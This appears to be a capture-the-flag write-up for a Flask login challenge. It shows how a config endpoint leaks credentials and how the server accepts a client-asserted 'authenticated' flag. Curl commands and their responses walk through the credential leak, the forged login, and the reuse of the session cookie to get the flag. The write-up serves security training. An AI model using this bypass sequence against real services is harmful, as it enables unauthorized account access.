$ cat writeup.md…
$ cat writeup.md…
broncoctf2026
Task: Flask login API that performs all authentication on the client side. Solution: read /api/config to leak the credentials, then bypass auth entirely by POSTing {\"authenticated\":true} to /login (server trusts the client-asserted flag) and reuse the session cookie on /flag.
I just finished developing my very first API to handle secure logins to my very own website! To keep things extra secure, I won't even tell you my username, so now there's really no way you can hack me!
A Flask login page (Server header Werkzeug/3.1.8 Python/3.14.6) where all
authentication logic lives in client-side JavaScript. Two fatal flaws let us
authenticate without knowing (or even needing) any credentials.
GET / returns an HTML login form plus inline JavaScript that:
/api/config and stores data.username / data.password.if (u === leakedUser && p === leakedPass)).POST /login with JSON body { "authenticated": true }
and follows data.redirect on success.Inline JS excerpt:
fetch('/api/config').then(res=>res.json()).then(data=>{ leakedUser = data.username; leakedPass = data.password; ... if (u === leakedUser && p === leakedPass) { fetch('/login', { method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({ authenticated: true }) }) .then(res=>res.json()).then(data=>{ if(data.success) window.location.href = data.redirect; }) } });
Two flaws:
/api/config. The endpoint hands the real
username and password to any client, defeating the "I won't tell you my username"
premise./login never verifies the
credentials; it only checks that the JSON body asserts authenticated: true. The
client-side comparison is decorative — the server trusts whatever the client says.curl -s https://broncoctf-super-secure-server.chals.io/api/config
{"password":"rji32orj932r3209r233sqmet4v2cxbns8","username":"SuperSecretUser"}
Skip the client-side comparison and directly assert authentication. This issues a session cookie:
curl -sk -c cookies.txt -H 'Content-Type: application/json' \ -d '{"authenticated":true}' \ https://broncoctf-super-secure-server.chals.io/login
{"redirect":"/flag","success":true}
curl -sk -b cookies.txt https://broncoctf-super-secure-server.chals.io/flag
The page renders Welcome back, SuperSecretUser! and:
Here is your flag: bronco{REDACTED}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar